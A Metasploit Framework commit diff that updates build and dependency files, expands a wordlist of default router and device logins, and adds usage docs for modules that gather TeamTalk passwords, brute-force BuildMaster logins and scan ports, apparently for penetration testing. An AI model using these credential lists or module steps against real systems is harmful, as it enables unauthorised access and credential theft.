GSoC/Meterpreter_Web_Console
christopher lee 2017-09-29 11:06:16 -05:00
commit 293d1edeb1
585 changed files with 7407 additions and 1908 deletions

View File

@ -1 +1 @@
2.4.1 2.4.2

View File

@ -12,8 +12,8 @@ addons:
language: ruby language: ruby
rvm: rvm:
- '2.2' - '2.2'
- '2.3.4' - '2.3.5'
- '2.4.1' - '2.4.2'
env: env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"' - CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
@ -21,9 +21,15 @@ env:
matrix: matrix:
fast_finish: true fast_finish: true
jobs:
# build docker image
include: include:
- rvm: ruby-head - env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" DOCKER="true"
env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" # we do not need any setup
before_install: skip
install: skip
before_script: skip
before_install: before_install:
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc" - "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
- rake --version - rake --version
@ -42,7 +48,8 @@ before_script:
- git diff --exit-code db/schema.rb - git diff --exit-code db/schema.rb
script: script:
- echo "${CMD}" - echo "${CMD}"
- bash -c "${CMD}" # we need travis_wait because the Docker build job can take longer than 10 minutes
- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
notifications: notifications:
irc: "irc.freenode.org#msfnotify" irc: "irc.freenode.org#msfnotify"

View File

@ -2,7 +2,7 @@
--exclude samples/ --exclude samples/
--exclude \.ut\.rb/ --exclude \.ut\.rb/
--exclude \.ts\.rb/ --exclude \.ts\.rb/
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE --files CONTRIBUTING.md,COPYING,LICENSE
app/**/*.rb app/**/*.rb
lib/msf/**/*.rb lib/msf/**/*.rb
lib/metasploit/**/*.rb lib/metasploit/**/*.rb

View File

@ -1,4 +1,4 @@
FROM ruby:2.4.1-alpine FROM ruby:2.4.2-alpine
MAINTAINER Rapid7 MAINTAINER Rapid7
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage" ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@ -36,15 +36,12 @@ RUN apk update && \
ncurses-dev \ ncurses-dev \
git \ git \
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \ && echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& gem update --system \
&& gem install bundler \ && gem install bundler \
&& bundle install --system $BUNDLER_ARGS \ && bundle install --system $BUNDLER_ARGS \
&& apk del .ruby-builddeps \ && apk del .ruby-builddeps \
&& rm -rf /var/cache/apk/* && rm -rf /var/cache/apk/*
# fix for robots gem not readable (known bug)
# https://github.com/rapid7/metasploit-framework/issues/6068
RUN chmod o+r /usr/local/bundle/gems/robots-*/lib/robots.rb
RUN adduser -g msfconsole -D $MSF_USER RUN adduser -g msfconsole -D $MSF_USER
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby) RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)

View File

@ -1,7 +1,7 @@
PATH PATH
remote: . remote: .
specs: specs:
metasploit-framework (4.16.0) metasploit-framework (4.16.9)
actionpack (~> 4.2.6) actionpack (~> 4.2.6)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
@ -17,9 +17,9 @@ PATH
metasploit-concern metasploit-concern
metasploit-credential metasploit-credential
metasploit-model metasploit-model
metasploit-payloads (= 1.3.1) metasploit-payloads (= 1.3.9)
metasploit_data_models metasploit_data_models
metasploit_payloads-mettle (= 0.2.0) metasploit_payloads-mettle (= 0.2.2)
msgpack msgpack
nessus_rest nessus_rest
net-ssh net-ssh
@ -58,7 +58,6 @@ PATH
rex-struct2 rex-struct2
rex-text rex-text
rex-zip rex-zip
robots
ruby_smb ruby_smb
rubyntlm rubyntlm
rubyzip rubyzip
@ -99,8 +98,8 @@ GEM
minitest (~> 5.1) minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4) thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1) tzinfo (~> 1.1)
addressable (2.5.1) addressable (2.5.2)
public_suffix (~> 2.0, >= 2.0.2) public_suffix (>= 2.0.2, < 4.0)
afm (0.2.2) afm (0.2.2)
arel (6.0.4) arel (6.0.4)
arel-helpers (2.4.0) arel-helpers (2.4.0)
@ -108,11 +107,11 @@ GEM
backports (3.8.0) backports (3.8.0)
bcrypt (3.1.11) bcrypt (3.1.11)
bcrypt_pbkdf (1.0.0) bcrypt_pbkdf (1.0.0)
bindata (2.4.0) bindata (2.4.1)
bit-struct (0.16) bit-struct (0.16)
builder (3.2.3) builder (3.2.3)
coderay (1.1.1) coderay (1.1.1)
daemons (1.2.4) coderay (1.1.2)
diff-lcs (1.3) diff-lcs (1.3)
dnsruby (1.60.2) dnsruby (1.60.2)
docile (1.1.5) docile (1.1.5)
@ -153,7 +152,7 @@ GEM
activemodel (~> 4.2.6) activemodel (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
railties (~> 4.2.6) railties (~> 4.2.6)
metasploit-payloads (1.3.1) metasploit-payloads (1.3.9)
metasploit_data_models (2.0.15) metasploit_data_models (2.0.15)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
@ -164,18 +163,18 @@ GEM
postgres_ext postgres_ext
railties (~> 4.2.6) railties (~> 4.2.6)
recog (~> 2.0) recog (~> 2.0)
metasploit_payloads-mettle (0.2.0) metasploit_payloads-mettle (0.2.2)
method_source (0.8.2) method_source (0.8.2)
mini_portile2 (2.2.0) mini_portile2 (2.3.0)
minitest (5.10.3) minitest (5.10.3)
msgpack (1.1.0) msgpack (1.1.0)
multipart-post (2.0.0) multipart-post (2.0.0)
nessus_rest (0.1.6) nessus_rest (0.1.6)
net-ssh (4.1.0) net-ssh (4.2.0)
network_interface (0.0.1) network_interface (0.0.2)
nexpose (6.1.1) nexpose (7.0.1)
nokogiri (1.8.0) nokogiri (1.8.1)
mini_portile2 (~> 2.2.0) mini_portile2 (~> 2.3.0)
octokit (4.7.0) octokit (4.7.0)
sawyer (~> 0.8.0, >= 0.5.3) sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1) openssl-ccm (1.2.1)
@ -196,11 +195,10 @@ GEM
activerecord (>= 4.0.0) activerecord (>= 4.0.0)
arel (>= 4.0.1) arel (>= 4.0.1)
pg_array_parser (~> 0.0.9) pg_array_parser (~> 0.0.9)
pry (0.10.4) pry (0.11.0)
coderay (~> 1.1.0) coderay (~> 1.1.0)
method_source (~> 0.8.1) method_source (~> 0.8.1)
slop (~> 3.4) public_suffix (3.0.0)
public_suffix (2.0.5)
rack (1.6.8) rack (1.6.8)
rack-protection (1.5.3) rack-protection (1.5.3)
rack rack
@ -219,13 +217,13 @@ GEM
activesupport (= 4.2.9) activesupport (= 4.2.9)
rake (>= 0.8.7) rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0) thor (>= 0.18.1, < 2.0)
rake (12.0.0) rake (12.1.0)
rb-readline (0.5.5) rb-readline (0.5.5)
rbnacl (4.0.2) rbnacl (4.0.2)
ffi ffi
rbnacl-libsodium (1.0.13) rbnacl-libsodium (1.0.13)
rbnacl (>= 3.0.1) rbnacl (>= 3.0.1)
recog (2.1.11) recog (2.1.15)
nokogiri nokogiri
redcarpet (3.4.0) redcarpet (3.4.0)
rex-arch (0.1.11) rex-arch (0.1.11)
@ -257,7 +255,7 @@ GEM
rex-powershell (0.1.72) rex-powershell (0.1.72)
rex-random_identifier rex-random_identifier
rex-text rex-text
rex-random_identifier (0.1.2) rex-random_identifier (0.1.4)
rex-text rex-text
rex-registry (0.1.3) rex-registry (0.1.3)
rex-rop_builder (0.1.3) rex-rop_builder (0.1.3)
@ -275,7 +273,6 @@ GEM
rex-zip (0.1.3) rex-zip (0.1.3)
rex-text rex-text
rkelly-remix (0.0.7) rkelly-remix (0.0.7)
robots (0.10.1)
rspec (3.6.0) rspec (3.6.0)
rspec-core (~> 3.6.0) rspec-core (~> 3.6.0)
rspec-expectations (~> 3.6.0) rspec-expectations (~> 3.6.0)
@ -309,7 +306,7 @@ GEM
sawyer (0.8.1) sawyer (0.8.1)
addressable (>= 2.3.5, < 2.6) addressable (>= 2.3.5, < 2.6)
faraday (~> 0.8, < 1.0) faraday (~> 0.8, < 1.0)
simplecov (0.15.0) simplecov (0.15.1)
docile (~> 1.1.0) docile (~> 1.1.0)
json (>= 1.8, < 3) json (>= 1.8, < 3)
simplecov-html (~> 0.10.0) simplecov-html (~> 0.10.0)

38
HACKING
View File

@ -1,38 +0,0 @@
HACKING
=======
(Last updated: 2014-03-04)
This document almost entirely deprecated by:
CONTRIBUTING.md
in the same directory as this file, and to a lesser extent:
The Metasploit Development Environment
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
Common Coding Mistakes
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
The Ruby Style Guide
https://github.com/bbatsov/ruby-style-guide
Ruby 1.9: What to Expect
http://slideshow.rubyforge.org/ruby19.html
You can use the the "./tools/msftidy.rb" script against your new and
changed modules to do some rudimentary checking for various style and
syntax violations.
Licensing for Your New Content
==============================
By submitting code contributions to the Metasploit Project it is
assumed that you are offering your code under the Metasploit License
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
are also fine. We specifically cannot include GPL code. LGPL code
is accepted on a case by case basis for libraries only and is never
accepted for modules.

View File

@ -1,7 +1,7 @@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%% %% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

View File

@ -1,70 +1,100 @@
root ADMINISTRATOR ADMINISTRATOR
ADMN admn
Admin admin
Administrator
Administrator 3ware
Administrator admin
Administrator changeme
Administrator ganteng
Administrator letmein
Administrator password
Administrator pilou
Administrator smcadmin
Any 12345
CSG SESAME
Cisco Cisco
D-Link D-Link
DTA TJM
GEN1 gen1
GEN2 gen2
GlobalAdmin GlobalAdmin
HTTP HTTP
IntraStack Asante
IntraSwitch Asante
JDE JDE
LUCENT01 UI-PSWD-01
LUCENT02 UI-PSWD-02
MDaemon MServer
MICRO RSX
Manager Manager
Manager friend
NAU NAU
NETWORK NETWORK
NICONEX NICONEX
PBX PBX
PFCUser 240653C9467E45
PRODDTA PRODDTA
PSEAdmin $secure$
PlcmSpIp PlcmSpIp
Polycom SpIp
RMUser1 password
SYSADM sysadm
Sweex Mysweex
USERID PASSW0RD
User Password
VNC winterm
VTech VTech
ZXDSL ZXDSL
acc acc
adfexc adfexc
adm
admin admin
guest
root root
root password
root 1234
root 12345
root 123456
root 3ep5w2u
root admin
root Admin
root admin_1
root alpine
root ascend
root attack
root blender
root calvin
root changeme
root Cisco
root cms500
root davox
root default
root fivranne
root ggdaseuaimhrke
root iDirect
root letacla
root Mau'dib
root pass
root permit
root ROOT500
root tini
root tslinux
root wyse
ro ro
router router
rwa rwa
rw rw
ubnt ubnt
guest guest
guest User
admin 0 admin 0
admin 0000 admin 0000
admin 1111 admin 1111
admin 11111111
admin 123 admin 123
admin 1234 admin 1234
admin 123456 admin 123456
admin 1234567890
admin 1234admin admin 1234admin
admin 2222 admin 2222
admin 22222 admin 22222
admin2 changeme
admin 3477 admin 3477
admin 3ascotel admin 3ascotel
admin 7ujMko0admin
admin 7ujMko0vizxv
admin 9999 admin 9999
admin Admin
admin AitbISP4eCiG
admin Ascend
admin BRIDGE
admin Intel
admin MiniAP
admin NetCache
admin NetICs
admin OCS
admin P@55w0rd!
admin PASSWORD
admin Protector
admin SMDR
admin SUPER
admin Symbol
admin TANDBERG
admin _Cisco
admin access admin access
admin admin admin admin
admin Admin admin admin117.35.97.74
Admin admin
admin admin123 admin admin123
admin admin1234
admin administrator
admin adminttd admin adminttd
admin adslolitec admin adslolitec
admin adslroot admin adslroot
admin adtran admin adtran
admin AitbISP4eCiG
admin articon admin articon
admin asante admin asante
admin ascend admin ascend
admin Ascend
admin asd admin asd
admin atc123 admin atc123
admin atlantis admin atlantis
@ -72,11 +102,9 @@ admin backdoor
admin barricade admin barricade
admin barricadei admin barricadei
admin bintec admin bintec
admin BRIDGE
admin cableroot admin cableroot
admin changeme admin changeme
admin cisco admin cisco
admin _Cisco
admin comcomcom admin comcomcom
admin conexant admin conexant
admin default admin default
@ -84,96 +112,79 @@ admin diamond
admin enter admin enter
admin epicrouter admin epicrouter
admin extendnet admin extendnet
admin fliradmin
admin giraff admin giraff
admin hagpolm1 admin hagpolm1
admin hello admin hello
admin help admin help
admin hp.com admin hp.com
admin Intel
admin ironport admin ironport
admin isee admin isee
acc acc admin jvc
adfexc adfexc
adm
admin kont2004 admin kont2004
admin letmein admin letmein
admin leviton admin leviton
admin linga admin linga
admin meinsma
admin michaelangelo
admin michelangelo admin michelangelo
admin microbusiness admin microbusiness
admin MiniAP
admin motorola admin motorola
admin mu admin mu
admin my_DEMARC admin my_DEMARC
admin netadmin admin netadmin
admin NetCache
admin NetICs
admin noway admin noway
admin OCS admin oelinux123
admin operator admin operator
admin P@55w0rd!
admin password
admin p-assword admin p-assword
admin PASSWORD admin pass
admin password
admin passwort admin passwort
admin pento admin pento
admin pfsense admin pfsense
admin private admin private
admin Protector
admin public admin public
admin pwp admin pwp
admin radius admin radius
admin rmnetlm admin rmnetlm
admin root admin root
admin secure admin secure
admin service
admin setup admin setup
admin sitecom admin sitecom
admin smallbusiness admin smallbusiness
admin smcadmin admin smcadmin
admin SMDR
admin speedxess admin speedxess
admin SUPER
admin superuser admin superuser
admin support
admin switch admin switch
admin Symbol
admin synnet admin synnet
admin sysAdmin admin sysAdmin
admin system admin system
admin TANDBERG admin tech
admin ubnt
admin visual admin visual
admin w2402 admin w2402
admin xad$|#12 admin wbox
admin xad$l#12 admin xad$l#12
admin xad$|#12
admin zoomadsl admin zoomadsl
system change_on_install admin2 changeme
system/manager sys/change_on_install administrator administrator
system password administrator changeme
system sys adminstat OCS
adminstrator changeme
adminttd adminttd adminttd adminttd
adminuser OCS adminuser OCS
adminview OCS adminview OCS
adminstat OCS alpine alpine
adminstrator changeme
Administrator 3ware
Administrator admin
administrator administrator
ADMINISTRATOR ADMINISTRATOR
administrator changeme
Administrator changeme
Administrator ganteng
Administrator letmein
Administrator password
Administrator pilou
Administrator smcadmin
ADMN admn
ami ami
anonymous any@
anonymous Exabyte anonymous Exabyte
Any 12345 anonymous any@
apc apc apc apc
at4400 at4400 at4400 at4400
bbsd-client changeme2
bbsd-client NULL bbsd-client NULL
bbsd-client changeme2
bciim bciimpw bciim bciimpw
bcim bcimpw bcim bcimpw
bcms bcmspw bcms bcmspw
@ -191,7 +202,6 @@ cellit cellit
cgadmin cgadmin cgadmin cgadmin
cisco cisco
cisco cisco cisco cisco
Cisco Cisco
citel citel citel citel
client client client client
cmaker cmaker cmaker cmaker
@ -201,15 +211,19 @@ craft
craft craft craft craft
craft craftpw craft craftpw
craft crftpw craft crftpw
CSG SESAME
cusadmin highspeed cusadmin highspeed
cust custpw cust custpw
customer customer
customer none customer none
dadmin dadmin01 dadmin dadmin01
daemon
davox davox davox davox
debug d.e.b.u.g debug d.e.b.u.g
debug synnet debug synnet
default
default antslq
default default
default password
deskalt password deskalt password
deskman changeme deskman changeme
desknorm password desknorm password
@ -220,41 +234,39 @@ dhs3pms dhs3pms
diag danger diag danger
diag switch diag switch
disttech 4tas disttech 4tas
D-Link D-Link
draytek 1234 draytek 1234
DTA TJM
e250 e250changeme e250 e250changeme
e500 e500changeme e500 e500changeme
echo echo
echo User echo User
echo echo
enable enable
eng engineer eng engineer
enquiry enquirypw enquiry enquirypw
field support field support
GEN1 gen1 guest
GEN2 gen2 guest 1111
GlobalAdmin GlobalAdmin guest 12345
guest 123456
guest User
guest guest
guest xc3511
halt tlah halt tlah
helpdesk OCS helpdesk OCS
hsa hsadb hsa hsadb
hscroot abc123 hscroot abc123
HTTP HTTP
hydrasna hydrasna
iclock timely iclock timely
images images images images
inads inads inads inads
inads indspw inads indspw
init initpw init initpw
installer installer
install llatsni install llatsni
install secret install secret
installer installer
intel intel intel intel
intermec intermec intermec intermec
intermec intermec1QTPS intermec intermec1QTPS
IntraStack Asante
IntraSwitch Asante
jagadmin jagadmin
JDE JDE
kermit kermit kermit kermit
l2 l2 l2 l2
l3 l3 l3 l3
@ -266,8 +278,6 @@ login access
login admin login admin
login password login password
lp lp lp lp
LUCENT01 UI-PSWD-01
LUCENT02 UI-PSWD-02
m1122 m1122 m1122 m1122
mac mac
maint maint maint maint
@ -278,50 +288,41 @@ manage !manage
manager admin manager admin
manager change_on_install manager change_on_install
manager friend manager friend
Manager friend
manager manager manager manager
Manager Manager
manager sys manager sys
manuf xxyyzz manuf xxyyzz
MDaemon MServer
mediator mediator mediator mediator
MICRO RSX mg3500 merlin
mlusr mlusr mlusr mlusr
monitor monitor monitor monitor
mother fucker
mtch mtch mtch mtch
mtcl mtcl
mtcl mtcl mtcl mtcl
naadmin naadmin naadmin naadmin
NAU NAU
netangr attack netangr attack
netman netman
netman netman netman netman
netopia netopia netopia netopia
netrangr attack netrangr attack
netscreen netscreen netscreen netscreen
NETWORK NETWORK
NICONEX NICONEX
nms nmspw nms nmspw
nokai nokai nokai nokai
nokia nokia nokia nokia
none 0 none 0
none admin none admin
operator
operator 1234
operator $chwarzepumpe
operator operator
op op op op
op operator op operator
operator
operator $chwarzepumpe
operator 1234
operator operator
oracle oracle
patrol patrol patrol patrol
PBX PBX
PFCUser 240653C9467E45
piranha piranha piranha piranha
piranha q piranha q
pmd pmd
poll tech poll tech
Polycom SpIp
PRODDTA PRODDTA
PSEAdmin $secure$
public public
public public public public
radware radware radware radware
@ -331,7 +332,89 @@ readonly lucenttech2
readwrite lucenttech1 readwrite lucenttech1
recovery recovery recovery recovery
replicator replicator replicator replicator
RMUser1 password ro ro
root
root 000000
root 1111
root 1234
root 12345
root 123456
root 1234567890
root 1234qwer
root 123qwe
root 1q2w3e4r5
root 3ep5w2u
root 54321
root 666666
root 7ujMko0admin
root 7ujMko0vizxv
root 888888
root Admin
root Cisco
root GMB182
root LSiuY7pOmZG2s
root Mau'dib
root PASSWORD
root ROOT500
root Serv4EMC
root Zte521
root abc123
root admin
root admin1234
root admin_1
root ahetzip8
root alpine
root anko
root antslq
root ascend
root attack
root avtech
root b120root
root bananapi
root blender
root calvin
root changeme
root cms500
root comcom
root coolphoenix579
root davox
root default
root dreambox
root fivranne
root ggdaseuaimhrke
root hi3518
root iDirect
root ikwb
root ikwd
root jauntech
root juantech
root jvbzd
root klv123
root klv1234
root letacla
root maxided
root oelinux123
root openssh
root openvpnas
root orion99
root pa55w0rd
root pass
root password
root permit
root realtek
root root
root tini
root tslinux
root user
root vizxv
root wyse
root xc3511
root xmhdipc
root zlxx.
root zte9x15
router router
rw rw
rwa rwa
sa sa
scmadmin scmchangeme scmadmin scmchangeme
scout scout scout scout
@ -346,44 +429,55 @@ smc smcadmin
spcl 0 spcl 0
storwatch specialist storwatch specialist
stratacom stratauser stratacom stratauser
su super
super 5777364 super 5777364
super super
super surt
super.super
super.super master
superadmin secret superadmin secret
superman 21241036 superman 21241036
superman talent superman talent
super super
super.super
super.super master
super surt
superuser superuser
superuser 123456 superuser 123456
superuser admin superuser admin
supervisor PlsChgMe! supervisor PlsChgMe!
supervisor PlsChgMe1 supervisor PlsChgMe1
supervisor supervisor supervisor supervisor
supervisor zyad1234
support 123
support 1234
support 12345
support 123456
support admin
support h179350 support h179350
support login
support support support support
support supportpw support supportpw
su super support zlxx.
Sweex Mysweex sys uplink
sysadm Admin sysadm Admin
sysadm PASS
sysadm anicust sysadm anicust
sysadm sysadm
sysadmin PASS sysadmin PASS
sysadmin password sysadmin password
sysadmin sysadmin sysadmin sysadmin
sysadm PASS system change_on_install
sysadm sysadm system password
SYSADM sysadm system sys
sys uplink system/manager sys/change_on_install
target password target password
teacher password teacher password
tech tech
tech ANYCOM tech ANYCOM
tech field
tech ILMI tech ILMI
tech field
tech tech tech tech
telco telco telco telco
telecom telecom telecom telecom
tellabs tellabs#1 tellabs tellabs#1
telnet telnet
temp1 password temp1 password
test test test test
tiara tiaranet tiara tiaranet
@ -391,19 +485,17 @@ tiger tiger123
topicalt password topicalt password
topicnorm password topicnorm password
topicres password topicres password
ubnt ubnt
user user
USERID PASSW0RD user 123456
user pass user pass
user password user password
User Password
user public user public
user tivonpw user tivonpw
user user user user
vcr NetVCR vcr NetVCR
VNC winterm
volition volition volition volition
vt100 public vt100 public
VTech VTech
webadmin 1234 webadmin 1234
webadmin webadmin webadmin webadmin
websecadm changeme websecadm changeme
@ -412,4 +504,3 @@ wradmin trancell
write private write private
xd xd xd xd
xxx cascade xxx cascade
ZXDSL ZXDSL

View File

@ -4,7 +4,7 @@ services:
image: metasploit image: metasploit
build: build:
context: . context: .
dockerfile: ./docker/Dockerfile dockerfile: ./Dockerfile
environment: environment:
DATABASE_URL: postgres://postgres@db:5432/msf DATABASE_URL: postgres://postgres@db:5432/msf
links: links:

View File

@ -0,0 +1,53 @@
## Description
This module retrieves user credentials from BearWare TeamTalk.
Valid administrator credentials are required.
Starting from version 5, TeamTalk allows users to login using a username and password combination. The username and password are stored on the server in clear text and can be retrieved remotely by any user with administrator privileges.
## Vulnerable Application
[TeamTalk 5](http://www.bearware.dk/) is a freeware conferencing system which allows multiple users to participate in audio and video conversations. The TeamTalk install file includes both client and server application. A special client application is included with accessibility features for visually impaired.
This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.
The TeamTalk software is available on the [BearWare website](http://www.bearware.dk/) and on [GitHub](https://github.com/BearWare/TeamTalk5).
## Verification Steps
1. Start `msfconsole`
2. Do: `use auxiliary/gather/teamtalk_creds`
3. Do: `set rhost <RHOST>`
4. Do: `set rport <RPORT>` (default: `10333`)
5. Do: `set username <USERNAME>` (default: `admin`)
6. Do: `set password <PASSWORD>` (default: `admin`)
7. Do: `run`
8. You should get credentials
## Scenarios
```
[*] 172.16.191.166:10333 - Found TeamTalk (protocol version 5.2)
[+] 172.16.191.166:10333 - Authenticated successfully
[+] 172.16.191.166:10333 - User is an administrator
[*] 172.16.191.166:10333 - Found 5 users
TeamTalk User Credentials
=========================
Username Password Type
-------- -------- ----
debbie 1234567890 1
murphy 934txs 2
quinn ~!@#$%^&*()_+{}|:" <>?;',./ 2
sparks password 2
stormy 1
[+] 172.16.191.166:10333 - Credentials saved in: /root/.msf4/loot/20170724092809_default_172.16.191.166_teamtalk.user.cr_034806.txt
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,59 @@
## Description
This module allows you to authenticate to Inedo BuildMaster, an application release automation tool.
The default credentials for BuildMaster are Admin/Admin. Gaining privileged access to BuildMaster can lead to remote code execution.
## Vulnerable Application
[Inedo's Windows installation guide](http://inedo.com/support/documentation/buildmaster/installation/windows-guide)
[Inedo website](http://inedo.com/)
## Verification Steps
1. Do: ```use auxiliary/scanner/http/buildmaster_login```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: Set credentials
5. Do: ```run```
6. You should see the module attempting to log in.
## Scenarios
### Attempt to login with the default credentials.
```
msf > use auxiliary/scanner/http/buildmaster_login
msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
RHOSTS => 10.0.0.39
msf auxiliary(buildmaster_login) > run
[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1)
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin"
[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(buildmaster_login) >
```
### Brute force with credentials from file.
```
msf > use auxiliary/scanner/http/buildmaster_login
msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
RHOSTS => 10.0.0.39
msf auxiliary(buildmaster_login) > set USERPASS_FILE ~/BuildMasterCreds.txt
USERPASS_FILE => ~/BuildMasterCreds.txt
msf auxiliary(buildmaster_login) > run
[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1)
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"test"
[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"test"
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"wrong"
[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"wrong"
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin"
[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(buildmaster_login) >
```

View File

@ -17,7 +17,7 @@ https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=2862
1. Make sure Cisco Firepower Management console's HTTPS service is running 1. Make sure Cisco Firepower Management console's HTTPS service is running
2. Start ```msfconsole``` 2. Start ```msfconsole```
3. ```use auxiliary/scanner/http/cisco_firepower_login.rb 3. ```use auxiliary/scanner/http/cisco_firepower_login.rb```
4. ```set RHOSTS [IP]``` 4. ```set RHOSTS [IP]```
5. Set credentials 5. Set credentials
6. ```run``` 6. ```run```

View File

@ -0,0 +1,30 @@
## Vulnerable Application
Any system exposing the Cisco Smart Install (SMI) protocol, which typically runs on TCP port 4786.
## Verification Steps
1. Do: ```use auxiliary/scanner/misc/cisco_smart_install```
2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
3. Do: ```run```
4. If the host is exposing an identifiable SMI instance, it will print the endpoint.
## Scenarios
```
msf auxiliary(cisco_smart_install) > run
[*] Scanned 57 of 512 hosts (11% complete)
[*] Scanned 105 of 512 hosts (20% complete)
[*] Scanned 157 of 512 hosts (30% complete)
[*] Scanned 212 of 512 hosts (41% complete)
[*] Scanned 256 of 512 hosts (50% complete)
[*] Scanned 310 of 512 hosts (60% complete)
[*] Scanned 368 of 512 hosts (71% complete)
[*] Scanned 413 of 512 hosts (80% complete)
[*] Scanned 466 of 512 hosts (91% complete)
[+] a.b.c.d:4786 - Fingerprinted the Cisco Smart Install protocol
[*] Scanned 512 of 512 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,59 @@
## Description
This module will attempt to initiate a TCP/IP connection with ports on the victim machine. It is this done by sending a SYN packet, and if victim replies with a SYN/ACK packet
that means the port is open. Then the attacker sends a RST packet, and as a result the victim's machine assumes that there is a communication error.
The attacker now knows the state of port without a full tcp connection. Major benefit of TCP SYN scan is that most logging applications do not log the TCP/RST by default.
## Options
**PORTS**
This is the list of TCP ports to test on each host.
Formats like `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default
options is to scan `1-10000` ports.
**TIMEOUT**
Maximum time to wait for a response. The default value is 500 milliseconds.
**VERBOSE**
Gives detailed message about the scan of all the ports. It also shows the
ports that were closed.
## Verification Steps
1. Do: `use auxiliary/scanner/portscan/syn`
2. Do: `set RHOSTS [IP]`
3. Do: `set PORTS [PORTS]`
4. Do: `run`
5. If any of the TCP ports were open they will be discovered, status will be printed indicating as such.
## Scenarios
### Metaspliotable 2
```
msf > use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > set RHOSTS 192.168.45.159
RHOSTS => 192.168.45.159
msf auxiliary(syn) > set PORTS 1-10000
PORTS => 1-10000
msf auxiliary(syn) > run
[*] TCP OPEN 192.168.45.159:22
[*] TCP OPEN 192.168.45.159:23
[*] TCP OPEN 192.168.45.159:111
[*] TCP OPEN 192.168.45.159:445
[*] TCP OPEN 192.168.45.159:512
[*] TCP OPEN 192.168.45.159:513
[*] TCP OPEN 192.168.45.159:1099
[*] TCP OPEN 192.168.45.159:2121
[*] TCP OPEN 192.168.45.159:3306
